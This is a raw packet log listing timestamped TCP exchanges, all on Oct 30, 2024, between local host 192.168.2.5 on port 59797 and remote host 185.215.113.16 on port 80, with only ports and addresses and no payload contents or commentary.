Oct 30, 2024 00:21:24.849755049 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.849790096 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.849807978 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.849822044 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.849826097 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.849834919 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.849845886 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.849853992 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.849858046 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.849864960 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.849870920 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.849880934 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.849895000 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.849896908 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.849912882 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.849920034 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.849935055 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.849937916 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.849948883 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.849961042 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.849961042 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.849973917 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.849980116 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.849987030 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.850004911 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.850018978 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.850023031 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.850053072 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.885945082 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.885957003 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.885977983 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.885991096 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.885999918 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.886015892 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.886022091 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.886040926 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.886095047 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.995834112 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.995860100 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.995883942 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.995928049 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.995942116 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.995943069 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.995953083 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.995961905 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.995974064 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.995979071 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.995981932 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.995981932 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.995982885 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.995994091 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996004105 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996009111 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996015072 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996047974 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996062040 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996071100 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996071100 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996074915 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996081114 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996085882 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996120930 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996130943 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996136904 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996145010 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996149063 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996161938 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996170998 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996171951 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996171951 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996181965 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996191978 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996220112 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996282101 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996287107 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996296883 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996308088 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996354103 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996354103 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996387959 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996397972 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996407986 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996411085 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996419907 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996432066 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996459007 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996459007 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996475935 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996483088 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996498108 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996519089 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996529102 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996529102 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996535063 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996539116 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996548891 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996560097 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996562004 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996597052 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996608973 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996612072 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996623039 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996629000 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996655941 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996666908 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996673107 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996684074 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996695042 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996707916 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996707916 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996742964 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996751070 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996751070 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996771097 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996782064 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996789932 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996792078 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996803045 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996833086 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996833086 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996865034 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996917963 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996928930 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996938944 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996952057 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.996983051 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.996983051 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997059107 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997066975 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997077942 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997092009 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997112036 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997122049 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997122049 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997123957 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997133970 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997143984 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997144938 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997154951 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997167110 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997185946 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997211933 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997222900 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997231960 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997232914 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997245073 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997246981 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997246981 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997256041 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997267008 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997306108 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997306108 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997315884 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997328043 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997345924 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997350931 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997350931 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997359991 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997370958 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997381926 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997389078 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997389078 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997437000 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997437000 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997503042 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997514009 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997524023 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997536898 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997544050 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997549057 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997555017 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997565031 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997575045 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997591019 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997591019 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997612000 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997631073 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997643948 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997649908 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997672081 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997680902 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997680902 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997684956 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997694969 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997705936 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997720957 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997747898 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997775078 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997786045 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997795105 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997807026 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997817039 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997823954 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997823954 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997828007 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997844934 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997880936 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997884035 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997895002 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997905016 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.997937918 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997937918 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.997994900 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998007059 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998018026 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998023987 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998034954 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998045921 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998056889 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998078108 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.998078108 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.998086929 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.998116970 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998117924 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.998128891 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998141050 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998177052 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.998177052 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.998235941 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.998255014 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998265982 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998275995 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998286963 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998297930 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998306990 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998317003 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.998318911 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998317003 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.998353958 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.998353958 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.998366117 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998375893 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998384953 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998394966 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998405933 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998414040 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.998414040 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.998455048 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.998471975 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998524904 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.998534918 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998548031 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998595953 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.998595953 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.998810053 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998897076 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.998903036 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.998950958 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.998965025 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999001980 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999053001 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999094963 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999116898 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999145031 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999161005 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999176979 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999181986 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999181986 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999193907 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999208927 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999221087 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999221087 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999224901 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999239922 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999250889 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999250889 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999257088 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999259949 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999272108 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999288082 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999295950 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999295950 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999304056 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999326944 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999326944 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999330044 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999345064 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999360085 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999360085 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999360085 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999377966 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999382973 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999393940 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999419928 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999423981 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999423981 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999435902 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999449968 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999454975 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999454975 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999464989 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999490023 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999490023 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999492884 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999501944 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999509096 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999521017 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999521971 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999536991 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999551058 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999562025 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999562025 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999567032 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999582052 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999593973 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999593973 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999597073 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999610901 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999614954 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999614954 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999638081 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999646902 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999663115 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999677896 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999681950 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999681950 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999692917 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999696016 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999706030 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999721050 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999736071 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999751091 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999764919 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999768019 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999768019 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999779940 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999794006 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999799967 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999799967 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999834061 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999841928 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999877930 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999942064 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999950886 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999957085 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999978065 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999978065 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.999984980 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.999996901 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:25.000010014 CET	80	59797	185.215.113.16	192.168.2.5
